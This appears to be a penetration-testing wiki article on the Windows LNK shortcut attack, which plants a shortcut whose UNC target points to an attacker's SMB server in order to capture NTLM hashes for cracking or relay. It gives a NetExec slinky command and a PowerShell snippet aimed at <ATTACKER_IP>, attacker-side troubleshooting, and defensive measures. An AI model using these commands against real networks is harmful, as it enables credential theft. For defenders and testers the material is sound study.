LNK File Attack

What is

In Windows, a LNK file is a shortcut or a binary pointer that links to an original file, folder, drive, or network location.

A LNK File Attack consists of creating a malicious LNK file whose target references an attacker-controlled SMB server.

When Windows processes the shortcut, it may attempt to access or resolve the remote SMB resource. This can cause the system to initiate an SMB authentication to the attacker-controlled server.

If NTLM authentication is used, the attacker may be able to capture the resulting NTLM challenge-response and potentially perform offline password cracking or use the authentication in a relay attack, depending on the environment.

This technique is particularly useful when a malicious shortcut can be placed inside a shared folder that other users are likely to access.

Requirements

• Write permissions to an SMB share or another location where the malicious LNK can be placed.
• Network connectivity between the victim and the attacker-controlled SMB server.
• A Windows client that processes the malicious LNK file.
• NTLM authentication must be available for the resulting SMB connection if the objective is to capture an NTLM authentication.

How to

Summary

The basic workflow is:

Detailed

1. Create the malicious LNK with NetExec

The first method is to use the slinky module from netexec.

The module can create a malicious LNK file in an SMB share and configure it to reference an attacker-controlled server.

The NAME option specifies the name of the LNK file, while SERVER specifies the attacker-controlled IP address that will receive the connection.

An example command is:

netexec smb <TARGET_HOST> -d <DOMAIN> -u <USER> -p <PASSWORD> -M slinky -o NAME=<FILENAME> SERVER=<ATTACKER_IP>

The account used with netexec needs sufficient permissions to create the file in the target SMB share.

After the module completes successfully, verify that the LNK file has been created in the expected location.

2. Create the malicious LNK using PowerShell

If we already have access to a Windows machine, we can create the shortcut directly using PowerShell and the WScript.Shell COM object.

The shortcut’s TargetPath is configured to reference an SMB path hosted by the attacker.

For example:

$objShell = New-Object -ComObject WScript.shell
$lnk = $objShell.CreateShortcut("<FILE_LOCATION>")
$lnk.TargetPath = "\\<ATTACKER_IP>\@test.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Test"
$lnk.HotKey = "Ctrl+Alt+T"
$lnk.Save()

The important parameter is TargetPath.

Instead of pointing to a local file, it references a remote SMB resource using a UNC path.

The remaining properties control how the shortcut is displayed and are not essential to the authentication mechanism.

The LNK can then be placed in an SMB share or another location accessible to the target user.

3. Trigger the authentication

Once the malicious LNK is available in a location accessible to the target, the next step is to wait for Windows to process it.

Depending on the Windows version and the way the file is accessed, Explorer or another Windows component may attempt to resolve information associated with the shortcut.

If this causes the client to access the attacker-controlled SMB resource, Windows may initiate an SMB authentication.

The attacker can monitor the SMB service for incoming connections.

If NTLM is negotiated, the authentication can result in an NTLM challenge-response being sent to the attacker-controlled server.

The exact behavior can vary depending on Windows security settings, SMB configuration, authentication policies, and the context in which the LNK is processed.

Understanding the attack

The attack can be represented as:

             Malicious LNK
SMB Share --------------------------> Windows Client
                                         |
                                         | Process LNK
                                         |
                                         | SMB connection
                                         v
                                  Attacker SMB Server
                                         |
                                         | NTLM authentication
                                         v
                                  NTLM challenge-response

The key component of the attack is the remote UNC path contained in the LNK file.

A UNC path identifies a network resource using a format such as \\server\share.

When Windows attempts to access a remote SMB resource, it may need to authenticate to the remote server.

If the remote server is controlled by the attacker, the attacker can receive the authentication attempt.

When NTLM is used, the attacker does not receive the user’s plaintext password. Instead, the authentication involves a challenge-response exchange.

The resulting NTLMv2 authentication material can potentially be subjected to offline password cracking.

Alternatively, depending on the protocol and target configuration, an authentication obtained through this technique may be usable as part of an NTLM relay attack.

The complete attack therefore depends on several conditions:

• The attacker must be able to place or create the malicious LNK.

• The victim must access or otherwise process the LNK.

• Windows must attempt to resolve or access the referenced remote resource.

• The victim must be able to reach the attacker-controlled SMB server.

• The authentication mechanism must result in useful authentication material.

• NTLM must be available if NTLM capture is the intended objective.

The technique does not require the victim to manually execute a program contained in the LNK. The relevant network interaction can occur as a consequence of Windows processing the shortcut.

However, the exact circumstances under which Explorer accesses the remote resource can vary between Windows versions and security configurations.

Common problems

The LNK file is not created

If using the netexec slinky module, verify that the supplied account has write permissions to the target SMB share.

Also verify that the SMB share is accessible and that the credentials supplied to netexec are valid.

If creating the file manually with PowerShell, verify that the destination path is writable and that the shortcut is successfully saved.

No authentication is received

If the attacker-controlled SMB server does not receive an authentication, verify that:

• The LNK exists in the expected location.
• The target user can access the SMB share.
• The target machine can reach the attacker-controlled IP address.
• The LNK references the correct UNC path.
• Windows is actually processing the shortcut.
• Network filtering is not blocking SMB traffic.
• NTLM authentication has not been restricted by local or domain policy.

It is also important to distinguish between the LNK being displayed and the remote target actually being accessed.

Simply seeing the shortcut in Explorer does not guarantee that an SMB authentication will be generated.

The authentication is received but cannot be cracked

A captured NTLMv2 challenge-response is not the user’s plaintext password.

Whether it can be cracked depends primarily on the password strength and the available attack resources.

Verify that the captured authentication is complete and that the correct format is being supplied to the password-cracking tool.

Strong, randomly generated passwords can make offline cracking impractical.

SMB connection is blocked

Verify connectivity between the victim and attacker.

SMB normally uses TCP/445, although other mechanisms can be involved depending on the environment.

Network segmentation, host firewalls, endpoint security products, and Windows Defender Firewall can prevent the victim from reaching the attacker-controlled SMB server.

Defensive considerations

The most effective defenses focus on preventing unnecessary outbound authentication and reducing the usefulness of NTLM.

Important defensive measures include:

• Disable or restrict NTLM authentication where possible.
• Configure Windows policies to prevent automatic authentication to untrusted remote resources.
• Restrict outbound SMB traffic to trusted networks and servers.
• Use host-based firewalls to prevent workstations from initiating SMB connections to untrusted systems.
• Apply least privilege to SMB shares and prevent unauthorized users from writing to shared directories.
• Monitor SMB authentication originating from workstations to unusual or external destinations.
• Monitor for suspicious LNK files appearing in shared directories.
• Use endpoint security controls to detect suspicious shortcut files and unusual remote UNC paths.
• Protect privileged accounts from authenticating to untrusted systems.

Restricting outbound SMB traffic is particularly useful because an attacker-controlled SMB server generally needs to be reachable by the victim for the authentication to occur.

Disabling NTLM can also prevent the specific NTLM capture scenario, although the broader security implications and compatibility requirements should be considered before making such a change in an Active Directory environment.

It is also important to protect SMB shares themselves. An attacker who cannot write to a shared location has fewer opportunities to introduce a malicious shortcut.

Notes

This technique should not be confused with executing malicious code through a shortcut.

The primary objective of this technique is to cause Windows to interact with an attacker-controlled remote resource and potentially generate an authentication attempt.

The LNK itself can contain a remote UNC path without necessarily containing a malicious executable.